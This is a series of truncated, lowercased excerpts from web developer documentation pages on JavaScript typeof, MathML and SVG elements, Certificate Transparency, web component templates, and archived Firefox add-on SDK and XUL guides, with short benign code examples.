... num; // it will return 'object' let func = new function(); typeof func; // it will return 'function' need for parentheses in syntax // parentheses can be used for determining the data type of expressions. let idata = 99; typeof idata + ' wisen'; // 'number wisen' typeof (idata + ' wisen'); // 'string' regular expressions callable regular expressions were a non-standard addition in some browsers. typeof /s/ === 'function'; // chrome 1-12 non-conform to ecmascript 5.1 typeof /s/ === 'object'; // firefox 5+ conform to ecmascript 5.1 errors before ecmascript 2015, typeof was always guaranteed to return a string for any operand it was supplied with. even with undeclared identifiers, typeof will return 'undefined'. using typeof could never generate an error. but with the addition of...
...temporal dead zone" from the start of the block until the initialization is processed, during which, it will throw an error if accessed. typeof undeclaredvariable === 'undefined'; typeof newletvariable; // referenceerror typeof newconstvariable; // referenceerror typeof newclass; // referenceerror let newletvariable; const newconstvariable = 'hello'; class newclass{}; exceptions all current browsers expose a non-standard host object document.all with type undefined. typeof document.all === 'undefined'; although the specification allows custom type tags for non-standard exotic objects, it requires those type tags to be different from the predefined ones. the case of document.all having type 'undefined' is classified in the web standards as a "willful violation" of the original ecma javas...
<mfenced> - MathML
use the <mrow> and <mo> elements instead. attributes class, id, style provided for use with stylesheets. close a string for the closing delimiter. the default value is ")" and any white space is trimmed. ...
...which is ignored. the default value is ",". by specifying more than one character, it is possible to set different separators for each argument in the expression. if there are too many separators, all excess is ignored. if there are too few separators in the expression, the last specified separator is repeated. ...
...eparators in the expression, the last specified separator is repeated. examples the last separator is repeated (,) sample rendering: rendering in your browser: a b c d e <math> <mfenced open="{" close="}" separators=";;,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math> all excess is ignored (,) sample rendering: rendering in your browser: a b c d e <math> <mfenced open="[" close="]" separators="||||,"> <mi>a</mi> <mi>b</mi> <mi>c</mi> <mi>d</mi> <mi>e</mi> </mfenced> </math> specifications the <mfenced> element is no longer part of the latest mathml standard. use the <mrow> and <mo> elements instead, or, for backwards compatibility, see mathml-polyfills/mfenced. ...
<mtable> - MathML
Web › MathML › Element › mtable
he environment's baseline. bottom: the bottom of the table aligns on the environments baseline. center: see baseline. top: the top of the table aligns on the environments baseline. in addition, values of the align attribute can end with a rownumber (e.g. align="center 3"). this allows you to align the specified row of the table rather than the whole table. a negative integer value counts rows from the bottom of the table. starting with gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) the interpretation of negative values has been corrected (bug 601436). in gecko 17.0 (firefox 17.0 / thunderbird 17.0 / seamonkey 2.14) the parsing has been updated to treat whitespace correctly. alignmentscope unimplemented class, id, style provided for use with stylesheets. columnalign sp...
... specifying whether more vertical space is used for displayed equations or, if set to false, a more compact layout is used to display formulas. the main effect is that larger versions of operators are displayed, when displaystyle is set to true. unimplemented equalcolumns a boolean value indicating whether to force all columns to have the same total height. false is default. unimplemented equalrows a boolean value indicating whether to force all rows to have the same total height. false is default. frame specifies borders of the entire table. possible values are: none (default), solid and dashed. framespacing specifies additional space added between the table and frame. groupalign unimplemented href used to set a hyperlink to a specified uri. mathbackground the background color. ...
...kground color. you can use #rgb, #rrggbb and html color names. mathcolor the text color. you can use #rgb, #rrggbb and html color names. unimplemented minlabelspacing a length value specifing the minimum space between a label and the adjacent cell in the row. rowalign specifies the vertical alignment of the cells. multiple values separated by space are allowed and apply to the corresponding rows (e.g. rowalign="top bottom axis"). possible values are: axis, baseline (default), bottom, center and top. rowlines specifies row borders. multiple values separated by space are allowed and apply to the corresponding rows (e.g. rowlines="none none solid"). possible values are: none (default), solid and dashed. unimplemented rowspacing specifies the space between table rows. unimplemented side...
Recommended Web Performance Timings: How long is too long? - Web Performance
re specific guidelines for indicating content will load (1 second), idling (50ms), animating (16.7s) and responding to user input (50 to 200ms). ...
... yes, one second for loading is a goal, but it's something few sites achieve. expectations differ. ...
...n ambitious first load goal, such as 5 seconds over the mobile 3g network and 1.5 seconds on an office t1 line, with even more ambitious page load goals for subsequent page loads, leveraging service workers and caching. there are different suggested times for initially loading the page versus loading additional assets, responding to user interaction, and ensuring smooth animations: idling goal browsers are single threaded (though background threads are supported for web workers). this means that user interaction, painting, and script execution are all on the same thread. if the thread is busy doing complex javascript execution, the main thread will not be available to react to user input, such as pressing a button. for this reason, script execution should be limited in scope, divided into ch...
<use> - SVG: Scalable Vector Graphics
Web › SVG › Element › use
e referenced element. however, any other attributes not set on the referenced element will be applied to the use element. since the cloned nodes are not exposed, care must be taken when using css to style a use element and its cloned descendants. css properties are not guaranteed to be inherited by the cloned dom unless you explicitly request them using css inheritance. ...
... attributes href the url to an element/fragment that needs to be duplicated. value type: <url> ; default value: none; animatable: yes xlink:href an <iri> reference to an element/fragment that needs to be duplicated. value type: <iri> ; default value: none; animatable: yes x the x coordinate of the use element. ...
...ia-errormessage, aria-expanded, aria-flowto, aria-grabbed, aria-haspopup, aria-hidden, aria-invalid, aria-keyshortcuts, aria-label, aria-labelledby, aria-level, aria-live, aria-modal, aria-multiline, aria-multiselectable, aria-orientation, aria-owns, aria-placeholder, aria-posinset, aria-pressed, aria-readonly, aria-relevant, aria-required, aria-roledescription, aria-rowcount, aria-rowindex, aria-rowspan, aria-selected, aria-setsize, aria-sort, aria-valuemax, aria-valuemin, aria-valuenow, aria-valuetext, role xlink attributes xlink:href, xlink:title usage notes categoriesgraphics element, graphics referencing element, structural elementpermitted contentany number of the following elements, in any order:animation elementsdescriptive elements specifications specification stat...
Scripting - SVG: Scalable Vector Graphics
Web › SVG › Scripting
the evt.preventdefault() method lets you do this. ...
...and set element properties with syntax svgelement.style.setproperty("fill-opacity", "0.0", ""). note the existence of all three arguments setting properties. preventing default behavior in event code when writing drag and drop code, sometimes you'll find that text on the page gets accidently selected while dragging. or if you want to use the backspace key in your code, you want to override the browser's default behavior when the backspace key is pressed, which is to go back to the previous page. the evt.preventdefault() method lets you do this. using eventlisteners with objects the methods addeventlistener() and removeeventlistener() are very useful when writing interactive svg. you can pass an object that implements the handleevent interface as the second parameter to these methods. func...
...ariable is broken in adobe's svg version 6 preview plugin. the suggested workaround is to use "top" instead of "parent". since it is a beta version of their plugin, we can probably safely ignore this. more information and some examples can be found on the svg wiki inter-document scripting page. setproperty has three parameters the function svgelement.style.setproperty("fill-opacity", "0.0") throws a domexception - syntax err in mozilla. this behaviour is specified by the w3c in the dom level 2 style specification. the function setproperty is defined as a function with three parameters. the above can be replaced with 'svgelement.style.setproperty("fill-opacity", "0.0", "")', which is standards compliant. links svg wiki on scripting and programming ...
SVG In HTML Introduction - SVG: Scalable Vector Graphics
, the script sets the invalid attribute on the <body>, and a style rule changes the gradient end-stop color to red. ...
...ting off any overflow. the style attribute pins the svg element to the background of the form. ...
...other svg in html example: a swarm of motes working example that works in both mozilla and in internet explorer with adobe's svg viewer installed. ...
Certificate Transparency - Web security
'logged' to publicly run, often independent ct logs which maintain an append-only, cryptographically assured record of issued tls certificates. in this way, certificate authorities (cas) can be subject to much greater public scrutiny and oversight. potentially malicious certificates, such as those that violate the ca/b forum baseline requirements, can be detected and revoked much more quickly. browser vendors and root store maintainers are also empowered to make more informed decisions regarding problematic cas that they may decide to distrust. background ct logs are built upon the foundation of the merkle tree data structure. nodes are labelled with the cryptographic hashes of their child nodes. leaf nodes contain hashes of actual pieces of data. the label of the root node therefore depen...
...with the x.509 certificate extension, the included scts are decided by the issuing ca. there should be no need for web servers to be modified if this mechanism is used. with the latter methods, servers will need to be updated to send the required data. the advantage is that the server operator can customise the ct log sources providing the scts sent via the tls extension/stapled ocsp response. browser requirements google chrome requires ct log inclusion for all certificates issues with a notbefore date of after 30 april 2018. users will be prevented from visiting sites using non-compliant tls certificates. chrome had previously required ct inclusion for extended validation (ev) and symantec-issued certificates. apple requires a varying number of scts in order for safari and other servers t...
... using non-compliant tls certificates. chrome had previously required ct inclusion for extended validation (ev) and symantec-issued certificates. apple requires a varying number of scts in order for safari and other servers to trust server certificates. firefox does not currently check or require the use of ct logs for sites that users visit. the expect-ct header can be used to request that a browser always enforces the requirement for certificate transparency (e.g. in chrome, even if the certificate was issued with a notbefore date prior to april). specifications specification status comment certificate transparency ietf rfc ...
Using templates and slots - Web Components
at can then be used to populate the shadow dom of a web component. the truth about templates when you have to reuse the same markup structures repeatedly on a web page, it makes sense to use some kind of a template rather than repeating the same structure over and over again. this was possible before, but it is made a lot easier by the html <template> element (which is well-supported in modern browsers). this element and its contents are not rendered in the dom, but it can still be referenced using javascript. let's look at a trivial quick example: <template id="my-paragraph"> <p>my paragraph</p> </template> this won't appear in your page until you grab a reference to it with javascript and then append it to the dom, using something like the following: let template = document.getelemen...
...he custom element. this wouldn't work if we just appended it to the standard dom. so for example: <template id="my-paragraph"> <style> p { color: white; background-color: #666; padding: 5px; } </style> <p>my paragraph</p> </template> now we can use it by just adding it to our html document: <my-paragraph></my-paragraph> note: templates are well-supported in browsers; the shadow dom api is supported by default in firefox (version 63 onwards), chrome, opera, safari, and edge (starting with version 79). adding flexibility with slots so far so good, but the element isn't very flexible. we can only display one bit of text inside it, meaning that at the moment it is even less useful than a regular paragraph! we can make it possible to display different text ...
...ow you to define placeholders in your template that can be filled with any markup fragment you want when the element is used in the markup. so, if we want to add a slot into our trivial example, we could update our template's paragraph element like this: <p><slot name="my-text">my default text</slot></p> if the slot's content isn't defined when the element is included in the markup, or if the browser doesn't support slots, <my-paragraph> just contains the fallback content "my default text". to define the slot's content, we include an html structure inside the <my-paragraph> element with a slot attribute whose value is equal to the name of the slot we want it to fill. as before, this can be anything you like, for example: <my-paragraph> <span slot="my-text">let's have some different tex...
SDK and XUL Comparison - Archive of obsolete content
esigned the apis to be forward-compatible with the new multiple process architecture (codenamed electrolysis) planned for firefox. we also expect to support both desktop and mobile firefox using a single edition of the sdk: so you'll be able to write one extension and have it work on both products. security if they're not carefully designed, firefox add-ons can open the browser to attack by malicious web pages. although it's possible to write insecure add-ons using the sdk, it's not as easy, and the damage that a compromised add-on can do is usually more limited. restartlessness add-ons built with the sdk can be installed without having to restart firefox. although you can write traditional add-ons that are restartless, you can't use xul ove...
...t experience. mobile support starting in sdk 1.5, we've added experimental support for developing add-ons on the new native version of firefox mobile. see the tutorial on mobile development. advantages of xul-based add-ons user interface flexibility xul overlays offer a great deal of options for building a ui and integrating it into the browser. using only the sdk's supported apis you have much more limited options for your ui. xpcom traditional add-ons have access to a vast amount of firefox functionality via xpcom. the sdk's supported apis expose a relatively small set of this functionality. low-level apis and third-party modules that's not the whole story. if you need more flexibility than the sdk's...
Working with Events - Archive of obsolete content
by registering a listener function to an event emitter an add-on can receive notifications of these events. we talk about content scripts in more detail in the working with content scripts guide. additionally, if you're using content scripts to interact with web content, you can define your own events and use them to communicate between the main add-on code and the content scripts. ...
... code this guide only covers the first of these; the second is explained in the working with content scripts guide. adding listeners you can add a listener to an event emitter by calling its on(type, listener) method. it takes two parameters: type: the type of event we are interested in, identified by a string. many event emitters may emit more than one type of event: for example, a browser window might emit both open and close events. the list of valid event types is specific to an event emitter and is included with its documentation. listener: the listener itself. this is a function which will be called whenever the event occurs. the arguments that will be passed to the listener are specific to an event type and are documented with the event emitter. for example, the f...
simple-prefs - Archive of obsolete content
experimental store preferences across application restarts. you can store booleans, integers, and string values, and users can configure these preferences in the add-ons manager. this gives users a consistent way to access and modify preferences across different add-ons. this api is for your add-on's preferences. if you need to get and set the general browser preferences, use preferences/service. usage defining and initializing preferences to define preferences and give them initial values, add a new json array called preferences to your package.json file, and give it one entry for each preference: { "fullname": "example add-on", ... "preferences": [{ "name": "somepreference", "title": "some preference title", "description": "some short description ...
...layed as a textbox and stores a string. { "type": "string", "name": "monstername", "value": "kraken", "title": "monster name" } color displayed as a colorpicker and stores a string in the #123456 format. { "type": "color", "name": "highlightcolor", "value": "#6a5acd", "title": "highlight color" } file displayed as a "browse" button that opens a file picker and stores the full path and name of the file selected. { "type": "file", "name": "myfile", "title": "select a file" } directory displayed as a "browse" button that opens a directory picker and stores the full path and name of the directory selected. { "type": "directory", "name": "mydirectory", "title": "se...
preferences/service - Archive of obsolete content
ference name. ...
...reference value, a url to a properties file example: require("sdk/preferences/service").set("general.useragent.locale", "chrome://global/locale/intl.properties"); example: setting global preferences var { get, set } = require("sdk/preferences/service"); var { when: unload } = require("sdk/system/unload"); var oldvalue = get("browser.urlbar.autofill"); set("browser.urlbar.autofill", true); // by amo policy global preferences must be changed back to their original value unload(function() { set("browser.urlbar.autofill", oldvalue); }); ...
remote/parent - Archive of obsolete content
by default, add-ons run in the chrome process and can't directly access web content. in the sdk, content scripts run in the child process, and, of course, can access web content. but content scripts don't have many more capabilities than untrusted web content. ...
... frame provides a way to pass frame specific messages to code in other processes. the frame this relates to may be in any of the application's processes. properties port an event emitter that can be used to send and receive frame specific events to and from code running in any process. frameelement the dom element that displays this frame in the main process. for example, this may be a xul <browser> element. istab a boolean property indicating if this frame displays in one of the application's main browser tabs. events detach event emitted when this frame is detached: for example, because the user closed its corresponding tab. ...
ui/toolbar - Archive of obsolete content
lbar. hidden state persists even over create/destroy cycles: if a toolbar is created, then hidden, then destroyed, and another toolbar with the same title is then created, the new toolbar will be in the hidden state. toolbar events toolbars get attach and detach events when their content is loaded and unloaded, and show and hide events when the uses shows or hides them. working with multiple browser windows there's only a single toolbar for all browser windows, so operations like show and hide work across all browser windows. if you need to customize content for a particular browser window, you can do that by messaging the window-specific frame hosted by that toolbar. globals constructors toolbar(options) creates a toolbar. the only mandatory option is title, but for the toolbar to co...
...f frames hosted by this toolbar. this property is read-only and is not available until after the attach event is emitted. hidden boolean indicating whether the toolbar is hidden. this property is read-only and is not available until after the attach event is emitted. events attach this event is emitted when the toolbar is first loaded. note that since there is only one toolbar for the whole browser, opening another browser window does not cause this event to be emitted again. after this event the toolbar's properties are available: var { toolbar } = require("sdk/ui/toolbar"); var { frame } = require("sdk/ui/frame"); var frame = new frame({ url: "./frame.html" }); var toolbar = toolbar({ title: "my toolbar", items: [frame] }); toolbar.on("attach", attached); function attached() ...
Adding a Button to the Toolbar - Archive of obsolete content
ar tabs = require("sdk/tabs"); var button = buttons.actionbutton({ id: "mozilla-link", label: "visit mozilla", icon: { "16": "./icon-16.png", "32": "./icon-32.png", "64": "./icon-64.png" }, onclick: handleclick }); function handleclick(state) { tabs.open("https://www.mozilla.org/"); } now run the add-on with jpm run. the button is added to the toolbar at the top of the browser window: you can't set the initial location for the button, but the user can move it using the browser's customization feature. the id attribute is mandatory, and is used to remember the position of the button, so you should not change it in subsequent versions of the add-on. clicking the button loads https://www.mozilla.org/ into a new tab. specifying the icon the icon property may specify ...
...te is mandatory, and is used to remember the position of the button, so you should not change it in subsequent versions of the add-on. clicking the button loads https://www.mozilla.org/ into a new tab. specifying the icon the icon property may specify a single icon or a collection of icons in different sizes, as in the example above. if you specify a collection of icons in different sizes the browser will automatically choose the best fit for the screen resolution and the place in the browser ui that hosts the button. read more about specifying multiple icons. the icon file must be packaged with your add-on: it may not refer to a remote file. you can change the icon at any time by setting the button's icon property. you can change the icon, and the other state attributes, either globally,...
Creating annotations - Archive of obsolete content
oggleactivation() to notify the workers of a change in activation state: function activateselectors() { selectors.foreach( function (selector) { selector.postmessage(annotatorison); }); } function toggleactivation() { annotatorison = !annotatorison; activateselectors(); return annotatorison; } we'll be using this url in all our screenshots. because cfx run doesn't preserve browsing history, if you want to play along it's worth taking a note of the url. save the file and execute cfx run again. activate the annotator by clicking the widget and load a page: the screenshot below uses http://blog.mozilla.com/addons/2011/02/04/ overview-amo-review-process/. you should see the highlight appearing when you move the mouse over certain elements: click on the highlight and you sh...
... annotation editor content script in the corresponding content script we do two things: handle a message from the add-on code by giving the text area focus listen for the return key and when it is pressed, send the contents of the text area to the add-on. here's the co...
Getting Started (jpm) - Archive of obsolete content
ata" in your add-on's root, mkdir data and save these three icon files to the "data" directory: icon-16.png icon-32.png icon-64.png back at the command prompt, type: jpm run this is the jpm command to run a new instance of firefox with your add-on installed. if firefox can not be located, or you have installed firefox developer as an alternate browser, you may need to provide the path to it. for example, in ubuntu: jpm run -b /usr/bin/firefox when firefox launches, in the top-right corner of the browser you'll see an icon with the firefox logo. click the icon, and a new tab will open with http://www.mozilla.org/ loaded into it. that's all this add-on does. it uses two sdk modules: the action button module, which enables you to add buttons...
...in this case, we've created a button whose icon is the firefox icon, and added a click handler that loads the mozilla home page in a new tab. try editing this file. ...
Unit Testing - Archive of obsolete content
s file. in its place create a file called test-base64.js with the following contents: var base64 = require("../base64"); exports["test atob"] = function(assert) { assert.ok(base64.atob("agvsbg8=") == "hello", "atob works"); } exports["test btoa"] = function(assert) { assert.ok(base64.btoa("hello") == "agvsbg8=", "btoa works"); } exports["test empty string"] = function(assert) { assert.throws(function() { base64.atob(); }, "empty string check works"); } require("sdk/test").run(exports); note that with jpm we must give the exact relative path to the base64.js module. this file: exports three functions, each of which expects to receive a single argument which is an assert object. assert is supplied by the test/assert module and imp...
...pects to receive a single argument which is an assert object. assert is supplied by the test/assert module and implements the commonjs unit testing specification. the first two functions call atob() and btoa() and use assert.ok() to check that the output is as expected. the second function tests the module's error-handling code by passing an empty string into atob() and using assert.throws() to check that the expected exception is raised. at this point your add-on ought to look like this: /base64 /data icon-16.png package.json readme.md index.js base64.js /test test-base64.js now execute jpm --verbose test from the add-on's root directory. you should see something like this: console.info: jpm-utest: executing './test...
Localization - Archive of obsolete content
the label attribute of each option is displayed to the user. if the locale file has a entry with the value of the label attribute prefixed with "{name}_options." as its key, where {name} is the name of the pre...
...the label attribute of each option is displayed to the user. if the locale file has a entry with the value of the label attribute prefixed with "{name}_options." as its key, where {name} is the name of the preference, its value is used as a localized label. using identifiers if the localizatio...
Bootstrapped extensions - Archive of obsolete content
on requires an application restart. gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) introduces bootstrapped extensions. these are special extensions that, instead of using overlays to apply their user interface to the application, programmatically insert themselves into the application. this is done using a special script file that's included in the extension that contains functions the browser calls to command the extension to install, uninstall, start up, and shut down. all the application does is call into this script file; the extension is responsible for adding and removing its user interface and handling any other setup and shutdown tasks it requires. this article discusses how bootstrapped extensions work. see this tutorial on converting from an overlay extension to restartle...
...le extension and as a traditional extension. create your extension as a bootstrappable extension, then add the traditional overlays as well. newer versions of firefox will use the bootstrap.js script, ignoring the components and overlays, while older versions will use the overlays. bootstrap entry points the bootstrap.js script should contain several specific functions, which are called by the browser to manage the extension. the script gets executed in a privileged sandbox, which is cached until the extension is shut down. startup called when the extension needs to start itself up. this happens at application launch time, when the extension is enabled after being disabled or after it has been shut down in order to install an update. as such, this can be called many times during the lifeti...
Alerts and Notifications - Archive of obsolete content
'_blank', 'chrome,titlebar=no,popup=yes', null); win.arguments = [image, title, msg, false, '']; } using notification box another way of non-modal notification and further interaction with users is using of xul elements notificationbox and notification (implicitly). however it is possible to use only buttons and a label there. ...
...fication = box.getnotificationwithvalue('popup-blocked'); if (notification) { notification.label = message; } else { var buttons = [{ label: 'button', accesskey: 'b', popup: 'blockedpopupoptions', callback: null }]; let priority = box.priority_warning_medium; box.appendnotification(message, 'popup-blocked', 'chrome://browser/skin/info.png', priority, buttons); } ...
Bookmarks - Archive of obsolete content
firefox 2 and earlier creating a new bookmark var win = mybrowser.contentwindow; // get the bookmarks service const bmsvc = components.classes["@mozilla.org/browser/bookmarks-service;1"] .getservice(components.interfaces.nsibookmarksservice); // create the bookmark bmsvc.createbookmarkincontainer(win.document.title, // bookmark name win.location.href.tostring(), // uri of the bookmark null, // shortcut win.document.title, // description win.document.characterset, // charset null, // postdata bookmarksservice.getbookmarkstoolbarfolder(), // bookmark folder ...
...e, provides methods for creating, deleting, and manipulating bookmarks and bookmark folders. this article offers examples for how to perform common bookmark management tasks using the bookmarks service. initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method. for example, to create a new folder in the bookmarks menu: var menufolder = bmsvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = bmsvc.createfolder...
Forms related code snippets - Archive of obsolete content
firefox & chrome (v8) and partially supported in opera 9+ and safari. it is not supported in internet explorer 6-9, or in the preview of internet explorer 10. const is going to be defined by ecmascript 6, but with different semantics. similar to variables declared with the let statement, constants declared with const will be block-scoped. we used it only for didactic purpose. if you want a full browser compatibility of this library, please replace all the const statements with the var statements. this date-picker code snippet will automatically create an html code like the following: <table id="zdp-cal-1" class="zdp-calendar" style="z-index: 1026; position: absolute; left: 294px; top: 47px;"> <caption><span id="zdp-decr-year-1" class="zdp-decrease-year">&laquo;</span><span id="zdp-decr-m...
...les or any custom text in a textarea. image preview before upload the filereader.prototype.readasdataurl() method can be useful, for example, to get a preview of an image before uploading it.[article] this example shows how to use it in this way. note: the filereader() constructor was not supported by internet explorer for versions before 10. for a full compatibility code you can see our crossbrowser possible solution for image preview. filter the digitation into a form field this example shows the use of the onkeypress event during a digitation into a form field in order to match some rules. ...
Examples and demos from articles - Archive of obsolete content
example of such abstraction, which for this reason we named minidaemon. [article] image preview before upload [html] the filereader.prototype.readasdataurl() method is useful, for example, to get a preview of an image before uploading it. [article] note: the filereader() constructor was not supported by internet explorer for versions before 10. for a full compatibility code, see also our crossbrowser possible solution for image preview. determine if an element has been totally scrolled [html] this example shows how to determine whether a user has completely scrolled an element or not. [article] css pure-css dropdown menu [html] with the :hover pseudo-class you can create complex cascade algorithms. this is a common technique used, for example, in order to create pure-css dropdown ...
...ossible example of how to dynamically import scripts with javascript. css css tutorial aimed at complete beginners, this css tutorial for beginners introduces you to cascading style sheets (css). it guides you through the basic features of the language with practical examples that you can try for yourself on your own computer and illustrates the standard features of css that work in modern browsers. dropdown menus rules how to create pure-css dropdown menus. ...
JavaScript Debugger Service - Archive of obsolete content
however, jsd has been removed in favor of the debugger api. see the tracking bug bug 800200 for more details. ...
...however, jsd has been removed in favor of the debugger api. see the tracking bug bug 800200 for more details. snippets acquiring the service we acquire the service by calling the xpcom object. ...
Preferences - Archive of obsolete content
hildlist("", {}); will return these items (for the example tree above): "typeaheadfind.autostart", "typeaheadfind.enablesound", and "usebrailledisplay", not just direct children ("typeaheadfind" and "usebrailledisplay"), as you might have expected. using preference observers changes a user makes to your extension's preferences, such as through an options dialog, may not take effect until the browser is restarted (e.g., if you have initialized local variables when the browser loads). you may wish for such changes to be applied immediately in your extension. in this case, you can use the nsiprefbranch2 interface to "listen" for changes to preferences in a certain branch. note that it need not be your own extension's preferences; you can set an observer on any preference or branch. when a cha...
...to preferences in a certain branch. note that it need not be your own extension's preferences; you can set an observer on any preference or branch. when a change is made to the preferences, you can take the appropriate action (such as reinitializing variables or toggling display properties in xul components). this technique will work no matter how or where the preferences are changed: in another browser window, directly in the about:config interface, or even by another extension. note: during gecko 13 development, nsiprefbranch2 was deprecated, and its methods moved to nsiprefbranch. calling .queryinterface(components.interfaces.nsiprefbranch2) is no longer required, although it still works. here is a straightforward example: var myprefobserver = { register: function() { // first we'l...
Scrollbar - Archive of obsolete content
tested on windows xp. example assumes a structure like this: app/chrome/chrome.manifest app/chrome/skin/global/ copy the scrollbars.css from xulrunner/chrome/classic.jar/skin/classic/global to app/chrome/skin/global/scrollbars.css open the app/chrome/chrome.manifest and add: skin app-global standard/1.0 skin/global/ override chrome://global/skin/xulscrollbars.css chrome://app-global/skin/scrollbars.css xulscrollbars.css are used for windows xp, and nativescrollbars.css on osx. ...
...ars.css chrome://app-global/skin/scrollbars.css change some color values inside the app/chrome/skin/global/scrollbars.css to test that the css is used. example xul window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="samplewindow" width="320" height="240" xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul"> <hbox flex="1"> <browser type="content" src="http://mozilla.org" flex="1"/> <scrollbar orient="vertical"/> </hbox> </window> ...
Windows - Archive of obsolete content
this article offers code snippets demonstrating common tasks you may wish to perform. opening new browser windows to open a new browser window, you can simply use window.open(). however, window.open() returns a window object for content, not for the browser window itself, so you should get the chrome window first. the simplest way to do that is to use nsiwindowmediator. ...
... that is to use nsiwindowmediator. example window.open(); //this open a pop-up window that could be "blocked" client-side //the following code generate an error as describe in the following warning box var wm = components.classes["@mozilla.org/appshell/window-mediator;1"] .getservice(components.interfaces.nsiwindowmediator); var newwindow = wm.getmostrecentwindow("navigator:browser"); var b = newwindow.gbrowser; the code generate a typeerror from firefox console. in particular the components.classes is undefined and the components object is deprecated. it will soon be removed. draggable windows to make a window draggable by clicking on the window's contents, you can use the mousedown and mousemove events. the following code does not care which element is clicked on...
Deploying a Plugin as an Extension - Archive of obsolete content
this feature is particularly useful for vendors who wish to deploy the plugin even if firefox is not currently installed, or who want to use the automatic extension update mechanism to update their plugin to a newer version. historically, most people have chosen to use an install.js script to install a plugin. when this method is used, you can choose to either place the plugin into the plugins directory, or, on windows, place it into your own directory and modify the windows registry to let firefox know where to find the plugin. ...
...lugin to be treated like other firefox extensions; it can be upgraded, disabled, or uninstalled using the firefox user interface. in this article, we will create an extension for the rhapsody player engine. normally, this plugin is installed in a local directory, and a registry item is used to let firefox know about the plugin. first, let's take a look at the structure of the xpi file used for a browser plugin. rhapsodyplayerengine_inst_win.xpi install.rdf plugins/ license.rtf nprhapengine.dll the important file here is the install.rdf file. this contains information about our extension; all extensions have one. here's what a basic install.rdf file looks like: <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <descripti...
How to convert an overlay extension to restartless - Archive of obsolete content
need clearing here services.obs.notifyobservers(null, "chrome-flush-caches", null); } function install(data,reason) { } function uninstall(data,reason) { } function loadintowindow(window) { /* call/move your ui construction function here */ } function unloadfromwindow(window) { /* call/move your ui tear down function here */ } function foreachopenwindow(todo) // apply a function to all open browser windows { var windows = services.wm.getenumerator("navigator:browser"); while (windows.hasmoreelements()) todo(windows.getnext().queryinterface(components.interfaces.nsidomwindow)); } var windowlistener = { onopenwindow: function(xulwindow) { var window = xulwindow.queryinterface(components.interfaces.nsiinterfacerequestor) .getinter...
...also make sure to only unload your own jsm files to avoid acci...
Jetpack Processes - Archive of obsolete content
global scope as properties. evalinsandbox(asandbox, ascript) evaluates the given script contents in the given sandbox's global scope. at minimum, javascript 1.8.1 is used. individual lines of the form //@line 1 "foo.js" can be used to specify filename and line number information for debugging purposes. gc() synchronously performs garbage collection. handles messages that communicate between the browser and jetpack process may contain only serializable (json) data and handles. a handle can be used to provide context for messages. either the browser or the jetpack implementation may create one. a handle keeps any arbitrary properties attached to it alive, but those properties are not transmitted across the process boundary. these arbitrary properties are the primary means through which context ...
... represent a network request, an xmlhttprequest instance can be attached to the handle on the chrome process. because a handle's existence crosses process boundaries and cross-process garbage collection does not exist, the lifetime of a handle needs to be controlled manually by code. by default, a handle is rooted in the javascript interpreter's garbage collector, meaning that even if a process throws it away, it will not be garbage collected unless the other process explicitly does something to indicate that it is no longer needed. if that other process does not do something explicit and simply removes all references to it, the handle remains rooted yet unreachable in both processes and a memory leak is created. to prevent such memory leaks, a process can either invalidate a handle, immediate...
Adding sidebars - Archive of obsolete content
ned with data templates, a topic that will be covered later on. you can also read much more about trees in the xul tutorial page. the tree element is possibly the most complex element in xul. it is meant to be very versatile and malleable, but it can require a good amount of work before it fits your specific needs. it is in reality a hierarchical table view, so its content is defined in terms of rows and columns. here's an example of a simple tree: <tree flex="1"> <treecols> <treecol label="&xulschoolhello.namecolumn.label;" flex="1" /> <treecol label="&xulschoolhello.greetingcolumn.label;" flex="3" /> </treecols> <treechildren> <treeitem> <treerow> <treecell label="peter" /> <treecell label="hey, what's up?" /> </treerow> </treeitem> <...
...we would use data from a datasource such as a database or a remote api. this tree is not much of a tree because it only has one level of depth. a more elaborate tree would look like this: <tree flex="1"> <treecols> <treecol label="&xulschoolhello.namecolumn.label;" flex="1" /> <treecol label="&xulschoo...
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
db the add-on will use for storage. a few others require cleanup code to be run after the add-on is uninstalled. this appendix covers these cases with simple code that should work for most add-ons. install scripts just like with a regular initialization function, we want a load event handler: // rest of overlay code goes here. window.addeventlistener( "load", function() { xulschoolchrome.browseroverlay.init(); }, false); then all we need is some persistent flag that ensures that the first run code is only run once. the best approach in this case is to use a preference, as explained in the handling preferences section. so, if we were to use fuel, we can do the following in the init function: init : function() { let firstrunpref = "extensions.xulschoolhello.firstrundone"; if (!a...
..."traditional" extensions, like those explained in the tutorial, both steps happen at different times. in this case the user is told that firefox needs to restart in order for the extension to be completely removed. then the user has the option to restart right away, wait to restart whenever is convenient, or even cancel the uninstall operation. the add-on will not be completely removed until the browser is restarted. so, in order to detect the first stage, you'll need to add an event listener using the addaddonlistener method. the data parameter explains the action being performed. if you detect your add-on is going to be uninstalled at this stage, it's a good time to show the uninstall feedback form. it is not a good time to clean up your files, at least not without prior user consent. reme...
Custom XUL Elements with XBL - Archive of obsolete content
the document is xbl, and the xul namespace is defined as "xul". you'll need to keep this in mind when defining the content of the binding, because weird things can happen if you don't add "xul:" to your content nodes. <binding id="person"> in general, you should only have one binding per file. bindings tend to require many lines of code, and having more than one ends up making gigantic, unbrowsable files. on the other hand, if your bindings are small and have a strong relationship with each other, it makes sense to keep them together. as for the css file, it's usually good to have a single file declaring all bindings in your extension. content under the content tag you define the xul content that will be displayed for your element. <content> <xul:hbox> <xul:image class="xulsh...
